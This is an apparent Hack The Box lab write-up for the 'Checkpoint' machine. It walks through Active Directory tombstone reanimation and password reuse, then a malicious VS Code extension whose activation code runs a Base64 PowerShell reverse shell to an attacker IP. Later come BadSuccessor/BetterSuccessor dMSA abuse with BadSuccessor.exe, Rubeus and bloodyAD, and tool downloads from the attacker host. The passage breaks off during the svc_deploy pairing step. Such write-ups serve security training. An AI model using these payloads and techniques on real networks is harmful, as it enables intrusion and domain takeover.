Checkpoint WriteUp
Table of Contents
Checkpoint is a π§ Medium difficulty machine on Hack The Box, part of Season 11. It simulates a realistic pentest scenario where the red team starts with low-privilege domain credentials (alex.turner / Checkpoint2024!), as is common in corporate security assessments.
Despite what the name might suggest, the machine does not expose any web services and is unrelated to Check Point Security Gateway / CVE-2024-24919. The real attack path revolves around enumerating Active Directory permissions with bloodyAD, reanimating a tombstone object (CN=Mark Davies) thanks to the Reanimate-Tombstones extended right, and reusing the password Checkpoint2024! on the newly restored account to gain RCE via a malicious VS Code extension. The final escalation combines BadSuccessor/BetterSuccessor (CVE-2025-53779) on dMSAs and memory forensics with MemProcFS to extract an NT hash reused by Administrator.
πΊοΈ Attack Chain
Initial creds alex.turner:Checkpoint2024! β bloodyAD get writable
β
βΌ
WRITE on tombstone "Mark Davies" + Reanimate-Tombstones β bloodyAD set restore
β
βΌ
mark.davies:Checkpoint2024! (password reuse) β RW on DevDrop share
β
βΌ
Malicious .vsix (Penelope) + vscodesync.ps1 β RCE as ryan.brooks
β
βΌ
user.txt π©
β
βΌ
PowerView / bloodyAD get writable β full control over CN=svc_deploy
β
βΌ
BadSuccessor (CVE-2025-53779) + BetterSuccessor β dMSA evilDmsa2$
bidirectionally paired with svc_deploy (msDS-Superseded*)
β
βΌ
TGT/TGS for evilDmsa2$ with svc_deploy's privileges
β
βΌ
READ access to \\dc01\VMBackups β NightlyBackup_2024-11-01\memory forensics\*.vmem
β
βΌ
MemProcFS (-forensic 1) + impacket-secretsdump on SAM/SYSTEM/SECURITY
β
βΌ
Local Administrator NT hash (reused as the domain Administrator)
β
βΌ
Pass-the-hash (netexec / evil-winrm) β Administrator
β
βΌ
root.txt π΄ (in C:\Users\max.palmer\Desktop)
π Recon
Entry Credentials
The machine provides initial access as a domain user:
User: alex.turner
Password: Checkpoint2024!
/etc/hosts Setup
echo "10.129.22.242 checkpoint.htb dc01.checkpoint.htb" | sudo tee -a /etc/hosts
Time Sync
Kerberos is very sensitive to clock skew between the client and the DC (5 minutes by default). Before launching anything, we sync Kali’s clock with the DC’s:
sudo ntpdate checkpoint.htb
Port Scan
Phase 1, Quick discovery:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv checkpoint.htb
Phase 2, Versions and scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv checkpoint.htb
| Port | Service | Detail |
|---|---|---|
| 53 | DNS | Simple DNS Plus |
| 88 | Kerberos | kerberos-sec |
| 135, 593, 49664-49717 | MSRPC | Dynamic RPC endpoints (DCOM/RPC over HTTP) |
| 139, 445 | SMB | microsoft-ds, signing required |
| 389, 3268 | LDAP / Global Catalog | checkpoint.htb, Default-First-Site-Name |
| 464 | kpasswd | Kerberos password change |
| 636, 3269 | LDAPS / GC LDAPS | Ports open, but no working TLS (see below) |
| 5985 | WinRM | Microsoft-HTTPAPI/2.0 |
| 9389 | ADWS | Active Directory Web Services (.NET Message Framing) |
No web ports, a typical Domain Controller profile for Active Directory (Windows Server 2025, hostname DC01). smb2-security-mode confirms message signing enabled and required, and clock-skew: 0s thanks to the earlier ntpdate.
Enumeration With Credentials
netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
netexec winrm checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
SMB 10.129.22.242 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB 10.129.22.242 445 DC01 [+] checkpoint.htb\alex.turner:Checkpoint2024!
LDAP 10.129.22.242 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) (signing:Enforced) (channel binding:No TLS cert)
LDAP 10.129.22.242 389 DC01 [+] checkpoint.htb\alex.turner:Checkpoint2024!
WINRM 10.129.22.242 5985 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb)
WINRM 10.129.22.242 5985 DC01 [-] checkpoint.htb\alex.turner:Checkpoint2024!
The credentials are valid over SMB and LDAP (signing:Enforced, no TLS certificate for channel binding), but they do not grant WinRM access.
SMB Shares
netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --shares
| Share | Access | Notes |
|---|---|---|
ADMIN$ / C$ | , | Default administrative shares |
DevDrop | READ | Repository of approved .vsix extensions for VS Code 1.118.0, empty for now |
IPC$ | READ | Remote IPC |
NETLOGON / SYSVOL | READ | No GPP passwords or autologon, nothing anomalous in the GPOs |
VMBackups | DENIED | No permissions listed for alex.turner, only accessible by svc_deploy (BackupAccess group) |
Domain Users and Groups
netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users
netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --groups
17 domain users: Administrator, Guest, krbtgt, alex.turner, ryan.brooks, svc_deploy (“Deployment service account”), james.harper, sarah.mitchell, emily.carter, david.reynolds, jessica.coleman, lauren.flores, michael.torres, kevin.patterson, brian.jenkins, megan.perry, max.palmer.
Relevant groups (out of the hundred or so default AD groups):
- IT-Staff (3 members), likely includes
alex.turner - DevTeam (3 members),
ryan.brooks,michael.torres,brian.jenkins - BackupAccess (1 member),
svc_deploy, access toVMBackups - Domain Admins (2 members),
Administratorandmax.palmer - VPN-Users (4 members)
- Other groups not exploited at this stage:
Finance-Staff(2),HR-Staff(2),Engineering-Staff(4)
Discarded Attempts
AS-REP Roasting on existing accounts, none have DONT_REQ_PREAUTH:
netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --asreproast asrep.txt
LDAP 10.129.22.242 389 DC01 [+] checkpoint.htb\alex.turner:Checkpoint2024!
LDAP 10.129.22.242 389 DC01 No entries found!
Kerberoasting, no service accounts with an SPN (other than krbtgt, disabled):
netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --kerberoasting kerb.txt
LDAP 10.129.22.242 389 DC01 [*] Skipping disabled account: krbtgt
LDAP 10.129.22.242 389 DC01 [*] Total of records returned 0
BloodHound (bloodhound-python):
bloodhound-python -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb -ns 10.129.22.242 -c All --zip
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.checkpoint.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.checkpoint.htb
INFO: Testing resolved hostname connectivity dead:beef::298d:f720:327c:6347
INFO: Trying LDAP connection to dead:beef::298d:f720:327c:6347
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
ldap3.core.exceptions.LDAPSocketOpenError: socket ssl wrapping error: [Errno 104] Connection reset by peer
π§ Why does BloodHound fail here?
dc01.checkpoint.htbalso resolves to an IPv6 address in thedead:beef::/64range (a typical range for HTB labs).bloodhound-pythonprioritizes that IPv6 address to connect to the DC. Since the DC enforces LDAP signing (seen in the nmap output:Message signing enabled and required) andbloodhound-pythondoesn’t sign plain NTLM binds over LDAP, it automatically tries to fall back to LDAPS, but the DC has no working certificate/LDAPS over that IPv6 address, so the TLSwrapends inConnection reset by peer. On top of that,dc01.checkpoint.htb:88(Kerberos) doesn’t resolve either, since we’ve only mappedcheckpoint.htbin/etc/hosts, so the Kerberos fallback doesn’t work either.Result: BloodHound is dropped in favor of targeted queries with
bloodyAD(built onmsldap, which correctly signs NTLM/Kerberos binds over LDAP on IPv4 without needing LDAPS) andnetexec.
Alternative Attempt: SharpHound From Windows via SOCKS Pivot (Proxifier)
SharpHound.exe uses System.DirectoryServices/native SSPI, which correctly signs/seals LDAP (unlike bloodhound-python), so in theory it shouldn’t suffer the issue above. To test this, a SOCKS pivot is set up: Windows runs SharpHound.exe, but all traffic goes out through Kali (which has the VPN route to 10.129.22.242).
1. SSH server on Kali (needed for the SOCKS tunnel, only during testing):
sudo systemctl start ssh
ip a # Kali's IP on the local/host-only network visible to Windows
β οΈ Use
start(notenable), so the service does not persist across reboots. When testing is done, stop the service:sudo systemctl stop ssh
2. SOCKS tunnel from Windows (leave the window open):
ssh -D 1080 -N your_user@<KALI_LAN_IP>
3. Entry in Windows hosts (as administrator, C:\Windows\System32\drivers\etc\hosts):
Add-Content -Path C:\Windows\System32\drivers\etc\hosts -Value "10.129.22.242 checkpoint.htb dc01.checkpoint.htb"
4. Proxifier:
- Proxy Servers:
127.0.0.1:1080, SOCKS Version 5. - Proxification Rules: an
Anyapplication rule β target hosts10.129.22.242(or10.129.0.0/16) β the SOCKS5 proxy above. Important: this rule must be FIRST in the list (rules are evaluated in order, before “Localhost”/“Default”). - Proxifier must run as Administrator if the process being intercepted (e.g. an elevated PowerShell) is also elevated, otherwise nothing shows up in the “Connections” tab, not even as “Direct”.
Connectivity check:
Test-NetConnection -ComputerName 10.129.22.242 -Port 445
ComputerName : 10.129.22.242
RemoteAddress : 10.129.22.242
RemotePort : 445
InterfaceAlias : Ethernet0
SourceAddress : 192.168.100.224
TcpTestSucceeded : True
β
The SOCKS pivot works (visible in Proxifier). However, SharpHound.exe still fails to connect to LDAP:
.\SharpHound.exe -c All -d checkpoint.htb --domaincontroller checkpoint.htb --ldapusername alex.turner --ldappassword 'Checkpoint2024!' --zipfilename checkpoint_bh.zip
2026-06-14T11:48:19.7844651+02:00|INFORMATION|Initializing SharpHound at 11:48 AM on 6/14/2026
2026-06-14T11:49:23.1827944+02:00|ERROR|Unable to connect to LDAP: Failed to create ldap connection for checkpoint.htb
Extra data point: with Test-NetConnection already working, AD Explorer (Sysinternals) is tried, connecting manually to checkpoint.htb/DC01.checkpoint.htb, it connects perfectly through the SOCKS pivot (Proxifier shows ADExplorer64.exe β checkpoint.htb:389 with several MB transferred, a fully browsable LDAP session: OUs DMSAHolder, Employees, Engineering, Finance, HR, IT, etc.).
This confirms that the SOCKS pivot fully supports LDAP TCP traffic from a normal Windows process. SharpHound.exe’s failure (Failed to create ldap connection, with no connection visible at all in Proxifier) then points to SharpHound, before the actual LDAP bind, performing a Domain/Forest resolution via Netlogon (DsGetDcName), a mechanism that uses DNS SRV records (_ldap._tcp.dc._msdcs.checkpoint.htb) over UDP, outside the SharpHound.exe process (via lsass.exe/svchost.exe), and therefore invisible/unsupported by a TCP-only SOCKS tunnel based on ssh -D. --domaincontroller doesn’t bypass this internal System.DirectoryServices.ActiveDirectory call.
Several additional mitigations are tried without success: runas /netonly (separate network session, Proxifier stops intercepting the process entirely, confirmed with Wireshark: the SYN to 10.129.22.242:389 goes out raw, without going through 127.0.0.1:1080), and the --skipportcheck/--realdnsname/--domaincontroller <IP> flags (same result).
π‘ Conclusion / recommended approach for future engagements: replace the SOCKS pivot (
ssh -D+ Proxifier, TCP only) with a full L3 tunnel such as ligolo-ng (TUN interface routing TCP+UDP into the target network,proxyon Windows andagenton the Kali box with the HTB VPN) and configure theligoloadapter’s DNS to point at the DC (10.129.22.242, port 53 open). That way SRV/Netlogon resolution would travel through the tunnel just like the rest of the traffic. In this session,ligolo-ngfails to create the TUN interface (tun should be created when starting tunnel), likely due to a conflict with a Wintun driver already installed by a previous VPN (OpenVPN Wintun), left pending for a clean VM.
π Initial Access
Permission Enumeration With bloodyAD get writable
bloodyAD (built on msldap, which supports LDAP NTLM signing unlike raw ldap3/impacket) lets us list every object/attribute alex.turner has write permissions on, including those inherited from their groups:
bloodyAD --host 10.129.22.242 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get writable --detail
Relevant results:
- WRITE on the tombstone object
CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb. - The extended right
Reanimate-Tombstones(CONTROL_ACCESS) on the OUOU=Employees,DC=checkpoint,DC=htb. - (Secondary lead, not exploited)
CREATE_CHILDon the AD DNS zones (DomainDnsZones/ForestDnsZones,CN=MicrosoftDNS), possible ADIDNS abuse.
π§ Concept, Tombstone Reanimation: when an AD object is deleted, it isn’t removed immediately: it becomes a tombstone (
isDeleted=TRUEattribute) and is moved toCN=Deleted Objects, keeping itsobjectSid,objectGUID, and most of its attributes during the tombstone lifetime (180 days by default), including the password hash (unicodePwd/pwdLastSet). If a user has theReanimate-Tombstonesextended right on the object’s original parent container (lastKnownParent), they can restore the object to its previous state, recovering its SID, group memberships and the password it had before being deleted.
Restoring the Object
bloodyAD --host 10.129.22.242 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' set restore 'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'
[+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb
The mark.davies account exists again, enabled (NORMAL_ACCOUNT), with the userAccountControl and password it had before deletion.
The Password Was Reuse, Not Cracking
Before considering AS-REP Roasting or Kerberoasting (which would require modifying userAccountControl/servicePrincipalName and cracking offline), alex.turner’s password is tried directly against mark.davies, assuming an org-wide shared password policy:
netexec smb 10.129.22.242 -u mark.davies -p 'Checkpoint2024!'
SMB 10.129.22.242 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB 10.129.22.242 445 DC01 [+] checkpoint.htb\mark.davies:Checkpoint2024!
mark.davies reuses the same password as alex.turner: Checkpoint2024!, the tombstone reanimation preserved that password exactly as it was before the account was deleted. No need to reset anything or crack any hash.
The interesting part: unlike alex.turner, mark.davies has READ/WRITE permissions on the DevDrop share, which according to its description hosts “approved” .vsix extensions for VS Code 1.118.0.
π RCE via Malicious VS Code Extension
Creating the Malicious .vsix
DevDrop is a share meant to distribute “approved” VS Code extensions. A minimal extension is created whose activationEvents is * (activates as soon as VS Code opens, no user interaction needed) and whose extension.js launches a reverse shell (a Penelope
payload) to 10.10.14.45:8443:
mkdir vsix-payload
cd vsix-payload
vsix-payload/
βββ package.json
βββ extension.js
package.json:
{
"name": "malicious-extension",
"displayName": "MaliciousExtension",
"version": "0.0.1",
"engines": {
"vscode": "^1.85.0"
},
"categories": [
"Other"
],
"activationEvents": [
"*"
],
"main": "./extension.js"
}
extension.js, the cmd is a Base64-encoded PowerShell one-liner (TCP reverse shell to 10.10.14.45:8443) run with exec as soon as the extension activates:
const vscode = require('vscode');
const { exec } = require('child_process');
function activate(context) {
const cmd = 'cmd /c powershell -e <BASE64_REVERSE_SHELL>';
exec(cmd, (error, stdout, stderr) => {
if (error) console.error(`error: ${error}`);
});
}
function deactivate() {}
module.exports = { activate, deactivate };
π‘ You don’t need to build the
<BASE64_REVERSE_SHELL>one-liner by hand:penelopegenerates ready-to-paste payloads (including the Base64 PowerShell version) withp:penelope -p 8443 # Then press p to see the payloads
Packaged with vsce:
vsce package --no-dependencies --allow-missing-repository --allow-star-activation
This produces malicious-extension-0.0.1.vsix.
Uploading to the DevDrop Share
smbclient //10.129.22.242/DevDrop -U checkpoint.htb/mark.davies%'Checkpoint2024!' -c 'put malicious-extension-0.0.1.vsix'
putting file malicious-extension-0.0.1.vsix as \malicious-extension-0.0.1.vsix (23.5 kB/s) (average 23.5 kB/s)
Listener and Automatic Execution
penelope -p 8443
After a few minutes, a reverse shell arrives from DC01 as checkpoint\ryan.brooks:
[+] Got reverse shell from DC01~10.129.22.242-Microsoft_Windows_Server_2025_Standard-x64-based_PC π Assigned SessionID <1>
π§ Why does it run automatically? The DC has
C:\Scripts\vscodesync.ps1, run periodically by a scheduled task running asryan.brooks. The script looks for.vsixfiles inC:\Shares\DevDrop(the local path of theDevDropshare), installs them withcode.cmd --install-extension --force, and relaunchesCode.exe. When VS Code installs and opens with our extension,extension.jsruns in the context ofryan.brooks, triggering the reverse shell.β οΈ As long as the
.vsixstays inDevDrop, every cycle of the script generates a new session in Penelope (which can flood the listener). Once you have a stable shell, remove the file from the share and only re-upload it when you need another:smbclient //10.129.22.242/DevDrop -U checkpoint.htb/mark.davies%'Checkpoint2024!' -c 'del malicious-extension-0.0.1.vsix'
π© User Flag
PS C:\users\ryan.brooks\desktop> type user.txt
Enumeration as ryan.brooks
PS C:\users\ryan.brooks\desktop> whoami /all
checkpoint\ryan.brooks (SID ...1103) belongs to the CHECKPOINT\DevTeam and CHECKPOINT\VPN-Users groups, with no special privileges enabled (SeMachineAccountPrivilege, SeIncreaseWorkingSetPrivilege disabled).
C:\shares shows the two shares already seen over SMB, but also a C:\Scripts directory:
PS C:\Scripts> ls
-a---- vscodesync.log
-a---- vscodesync.ps1
vscodesync.ps1 is the script described above that reinstalls extensions from DevDrop and relaunches VS Code, the source of our shell.
C:\shares\VMBackups exists alongside DevDrop, but local filesystem access is also denied to ryan.brooks (only svc_deploy/the BackupAccess group), a likely high-value target for privilege escalation (VM backups containing SAM/NTDS.dit).
π§ Privilege Escalation β root/Administrator
ACL Enumeration With PowerView
From the ryan.brooks shell (no password needed, using the current Kerberos ticket), PowerView is downloaded and interesting ACLs are enumerated:
iwr -Uri http://10.10.14.45/PowerView.ps1 -OutFile C:\Windows\Temp\PowerView.ps1
Import-Module C:\Windows\Temp\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ? {$_.IdentityReferenceName -match 'ryan.brooks|DevTeam|VPN-Users'}
ObjectDN : OU=DMSAHolder,DC=checkpoint,DC=htb
AceQualifier : AccessAllowed
ActiveDirectoryRights : CreateChild
ObjectAceType : None
AceFlags : ContainerInherit
AceType : AccessAllowed
InheritanceFlags : ContainerInherit
SecurityIdentifier : S-1-5-21-3129162710-3498938529-1807524340-1103
IdentityReferenceName : ryan.brooks
IdentityReferenceDomain : checkpoint.htb
IdentityReferenceDN : CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
IdentityReferenceClass : user
ObjectDN : CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
AceQualifier : AccessAllowed
ActiveDirectoryRights : GenericWrite
ObjectAceType : None
AceFlags : ContainerInherit
AceType : AccessAllowed
InheritanceFlags : ContainerInherit
SecurityIdentifier : S-1-5-21-3129162710-3498938529-1807524340-1103
IdentityReferenceName : ryan.brooks
IdentityReferenceDomain : checkpoint.htb
IdentityReferenceDN : CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
IdentityReferenceClass : user
Relevant findings:
ryan.brookshas CreateChild onOU=DMSAHolder,DC=checkpoint,DC=htb(container object,ContainerInherit).ryan.brookshas GenericWrite onCN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb(secondary lead, Shadow Credentials ruled out, this DC doesn’t support PKINIT).
The DC runs Windows Server 2025, which introduces dMSA accounts (delegated Managed Service Accounts). The OU=DMSAHolder name combined with the CreateChild permission points directly to BadSuccessor (CVE-2025-53779): if an attacker can create a dMSA in an OU and configure it to “succeed” a privileged account, the KDC will issue tickets for that dMSA carrying the impersonated account’s privileges.
π§ CVE-2025-53779: a relative path traversal vulnerability in Windows Server 2025 Kerberos, discovered by Yuval Gordon (Akamai) and publicly disclosed on May 21, 2025. Microsoft patched it in the August 2025 Patch Tuesday. CVSSv3 7.2 (High), though Microsoft internally classifies it as “moderate” severity.
BadSuccessor: Creating the Malicious dMSA
The public Invoke-BadSuccessor.ps1 toolkit doesn’t correctly detect the CreateChild ACE on OU=DMSAHolder (fails with [-] No vulnerable OU found.). Instead, BadSuccessor by @kreepsec
is used (a C# PoC based on @YuG0rd/Akamai’s research), which automates dMSA creation and configuration of the msDS-DelegatedMSAState/msDS-ManagedAccountPrecededByLink attributes.
It’s compiled (.NET Framework, open the .sln in Visual Studio and Build Solution in Release) and uploaded to the DC via goshs + iwr from the ryan.brooks shell:
iwr -Uri http://10.10.14.45/BadSuccessor.exe -OutFile C:\Windows\Temp\BadSuccessor.exe
First, find to confirm writable OUs:
C:\Windows\Temp\BadSuccessor.exe find
[*] OUs you have write access to:
-> OU=Domain Controllers,DC=checkpoint,DC=htb
Privileges: GenericWrite, GenericAll
-> OU=Employees,DC=checkpoint,DC=htb
Privileges: GenericWrite, GenericAll
-> OU=ServiceAccounts,DC=checkpoint,DC=htb
Privileges: GenericWrite, GenericAll
-> OU=DMSAHolder,DC=checkpoint,DC=htb
Privileges: GenericWrite, GenericAll, CreateChild
-> OU=IT,OU=Employees,DC=checkpoint,DC=htb
Privileges: GenericWrite, GenericAll
-> OU=Finance,OU=Employees,DC=checkpoint,DC=htb
Privileges: GenericWrite, GenericAll
-> OU=HR,OU=Employees,DC=checkpoint,DC=htb
Privileges: GenericWrite, GenericAll
-> OU=Engineering,OU=Employees,DC=checkpoint,DC=htb
Privileges: GenericWrite, GenericAll
OU=DMSAHolder confirms CreateChild + GenericAll/GenericWrite, as seen with PowerView. Now the malicious dMSA evilDmsa is created, linked (msDS-ManagedAccountPrecededByLink) to Administrator, with ryan.brooks as the principal authorized to retrieve its managed password:
C:\Windows\Temp\BadSuccessor.exe escalate -targetOU "OU=DMSAHolder,DC=checkpoint,DC=htb" -dmsa evilDmsa -targetUser "CN=Administrator,CN=Users,DC=checkpoint,DC=htb" -dnshostname evilDmsa -user ryan.brooks -dc-ip 10.129.22.242
[*] Creating dMSA object...
[*] Inheriting target user privileges
-> msDS-ManagedAccountPrecededByLink = CN=Administrator,CN=Users,DC=checkpoint,DC=htb
-> msDS-DelegatedMSAState = 2
[+] Privileges Obtained.
[*] Setting PrincipalsAllowedToRetrieveManagedPassword
-> msDS-GroupMSAMembership = ryan.brooks
[+] Setting userAccountControl attribute
[+] Setting msDS-SupportedEncryptionTypes attribute
[+] Created dMSA 'evilDmsa' in 'OU=DMSAHolder,DC=checkpoint,DC=htb', linked to 'CN=Administrator,CN=Users,DC=checkpoint,DC=htb' (DC: 10.129.22.242)
The dMSA evilDmsa$ is now created with msDS-DelegatedMSAState=2 (“completed” migration) and linked to Administrator. The next step is to use ryan.brooks’s current Kerberos ticket to request a TGS for evilDmsa$ with Rubeus’s /dmsa flag, the KDC should populate the PAC with Administrator’s privileges via the “succession” link.
Getting the dMSA’s TGT and TGS With Rubeus
Rubeus.exe dump (needed to extract ryan.brooks’s TGT from the LSA cache) fails because the shell runs at medium integrity:
C:\Windows\Temp\Rubeus.exe dump /luid:0x6d2ad /service:krbtgt /nowrap
[X] You need to be in high integrity for the actions specified.
ryan.brooks is not a local admin (no SeImpersonatePrivilege, medium integrity), so there’s no easy path to high integrity. Alternative: Rubeus.exe tgtdeleg, the “fake delegation” SSPI trick that returns a usable TGT without high integrity:
C:\Windows\Temp\Rubeus.exe tgtdeleg /nowrap
# returns a base64 TGT (doIF...) for ryan.brooks
With that TGT, the TGS for evilDmsa$ is requested (requires Rubeus built from master, with PR #194
adding the /dmsa flag and support for KERB-DMSA-KEY-PACKAGE):
C:\Windows\Temp\Rubeus.exe asktgs /ticket:<base64_TGT_from_tgtdeleg> /targetuser:evilDmsa$ /service:krbtgt/checkpoint.htb /dmsa /dc:dc01.checkpoint.htb /opsec /nowrap
After fixing the SPN to uppercase (/service:krbtgt/CHECKPOINT.HTB) and compiling Rubeus from master (the initially deployed v2.3.2 build didn’t support /dmsa), the request successfully generates the dMSA-specific TGS-REQ (Building DMSA TGS-REQ request for 'evilDmsa$' from 'ryan.brooks'), but the KDC responds with KRB_ERR_GENERIC (60) even when forcing /enctype:AES128 (the dMSA has msDS-SupportedEncryptionTypes=0x1C, no AES256). This path is abandoned, likely due to a KDS Root Key not being available/replicated to generate the dMSA’s “managed password”.
Pivot: Enumeration With winPEAS
In parallel, the latest winPEAS (peass-ng) release is downloaded on Kali:
# function in ~/.zshrc
getwinpeas() {
local dest="${1:-.}"
local base="https://github.com/peass-ng/PEASS-ng/releases/latest/download"
mkdir -p "$dest"
for f in winPEASx64.exe winPEASx86.exe winPEASany.exe winPEAS.bat; do
curl -L -o "$dest/$f" "$base/$f"
done
}
getwinpeas
It’s served via goshs and downloaded/run in the ryan.brooks shell, dumping the output to a file:
iwr -uri http://10.10.14.45/winPEASx64.exe -outfile C:\Windows\Temp\winPEASx64.exe
C:\Windows\Temp\winPEASx64.exe quiet cmd > C:\Windows\Temp\winpeas_out.txt
To bring the file back to Kali, an Impacket SMB share is set up (goshs’s /uploads endpoint didn’t work as expected):
sudo impacket-smbserver -comment "SHARE" SMB /home/jolmedo/smb -smb2support -user test -password test
net use \\10.10.14.45\SMB /user:test test
copy C:\Windows\Temp\winpeas_out.txt \\10.10.14.45\SMB\winpeas_out.txt
winPEASx64.exe’s output with > file ends up in UTF-16LE (BOM ΓΏΓΎ), so it’s converted before analysis:
iconv -f UTF-16LE -t UTF-8 ~/smb/winpeas_out.txt -o ~/winpeas_clean.txt
The “AD object control surfaces” section reveals the key finding, ryan.brooks has GenericAll directly on CN=Administrator,CN=Users,DC=checkpoint,DC=htb (among 80 other objects):
ββββββββββββ£ AD object control surfaces (T1484.001,T1087.002,T1018)
[+] Found 81 object(s) where your principal has abuse-friendly rights:
-> Administrator (user)
DN: CN=Administrator,CN=Users,DC=checkpoint,DC=htb
* GenericAll: Full control -> reset password, add group members, edit SPNs/UAC, change ACLs.
GenericAll over the Administrator account itself would, in theory, allow a direct password reset, much simpler than the BadSuccessor/dMSA chain. However, running it:
Import-Module ActiveDirectory
try {
Set-ADAccountPassword -Identity Administrator -Reset -NewPassword (ConvertTo-SecureString "P4ssw0rd123!" -AsPlainText -Force) -ErrorAction Stop
} catch { Write-Host "ERROR: $($_.Exception.Message)" }
Get-ADUser Administrator -Properties PasswordLastSet | Select-Object Name, PasswordLastSet
ERROR: Access is denied
Name PasswordLastSet
---- ---------------
Administrator 5/9/2026 9:16:34 AM
PasswordLastSet doesn’t change and the operation returns Access is denied: the GenericAll winPEAS reports on CN=Administrator,CN=Users is a false positive of its experimental T1484.001 check. Also confirmed with impacket-wmiexec (STATUS_LOGON_FAILURE) and evil-winrm (WinRMAuthorizationError), the password never changed.
Post-Patch BadSuccessor (BetterSuccessor): Pivoting to svc_deploy
Recapping the earlier evilDmsa β Administrator attempt: the KRB_ERR_GENERIC (60) wasn’t a syntax or enctype issue. Microsoft patched CVE-2025-53779 in August 2025, hardening KDC validation: it’s no longer enough for the dMSA to point at the victim via msDS-ManagedAccountPrecededByLink (a one-way link), the KDC now validates both sides of the relationship. On the “superseded” account, the following are also required:
msDS-SupersededManagedAccountLinkβ the dMSA’s DNmsDS-SupersededServiceAccountStateβ1
For Administrator (CN=Administrator,CN=Users) there’s no ACE allowing those attributes to be written. But bloodyAD get writable (below) shows that ryan.brooks has full control over CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb, including both Superseded* attributes. This is the “BetterSuccessor” technique (Altered Security, post-patch): if you control both sides of the pairing on any account, you inherit its privileges via the dMSA.
Exporting ryan.brooks’s Kerberos context to Kali (needed to use bloodyAD):
C:\Windows\Temp\Rubeus.exe tgtdeleg /nowrap
# copy the resulting base64(ticket.kirbi)
nano ryan.b64 # paste the base64
base64 -d ryan.b64 > ryan.kirbi
impacket-ticketConverter ryan.kirbi ryan.ccache
export KRB5CCNAME=ryan.ccache
With the ccache, bloodyAD confirms full write access to svc_deploy (including unicodePwd, msDS-KeyCredentialLink, msDS-SupersededManagedAccountLink, msDS-SupersededServiceAccountState, servicePrincipalName, etc.):
bloodyAD -H dc01.checkpoint.htb -i 10.129.22.242 -d checkpoint.htb -k get writable --detail
Before reaching BetterSuccessor, two approaches against svc_deploy were tried and didn’t work:
- Targeted Kerberoasting: a fake SPN was added (
Set-ADUser -Identity svc_deploy -ServicePrincipalNames @{Add="HTTP/svc_deploy.checkpoint.htb"}) and the TGS was requested withRubeus.exe kerberoast /user:svc_deploy /simple /nowrapβ hash$krb5tgs$18$svc_deploy$...(AES256, hashcat-m 19700). Not cracked withrockyou.txt. - Direct
unicodePwdreset viabloodyAD set password svc_deploy ...: over plain LDAP it returnsPassword can't be changed(confidential attribute, requires an encrypted channel), forcing LDAPS (-s, port 636) the TLS handshake times out, there’s no LDAPS/PKI on this DC (consistent with Shadow Credentials/PKINIT not working either).
Step 1, create a second dMSA, this time pointing at svc_deploy:
C:\Windows\Temp\BadSuccessor.exe escalate -targetOU "OU=DMSAHolder,DC=checkpoint,DC=htb" -dmsa evilDmsa2 -targetUser "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" -dnshostname evilDmsa2 -user ryan.brooks -dc-ip 10.129.22.242
[*] Creating dMSA object...
[*] Inheriting target user privileges
-> msDS-ManagedAccountPrecededByLink = CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
-> msDS-DelegatedMSAState = 2
[+] Privileges Obtained.
[*] Setting PrincipalsAllowedToRetrieveManagedPassword
-> msDS-GroupMSAMembership = ryan.brooks
[+] Setting userAccountControl attribute
[+] Setting msDS-SupportedEncryptionTypes attribute
Step 2, complete the mutual pairing by writing on svc_deploy (the “victim” side) via bloodyAD:
bloodyAD -H dc01.checkpoint.htb -i 10.129.22.242 -d checkpoint.htb -k set object "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" msDS-SupersededManagedAccountLink -v "CN=evilDmsa2,OU=DMSAHolder,DC=checkpoint,DC=htb"
bloodyAD -H dc01.checkpoint.htb -i 10.129.22.242 -d checkpoint.htb -k set object "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" msDS-SupersededServiceAccountState -v 1
# verification
bloodyAD -H dc01.checkpoint.htb -i 10.129.22.242 -d checkpoint.htb -k get object "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" --attr msDS-SupersededManagedAccountLink,msDS-SupersededServiceAccountState
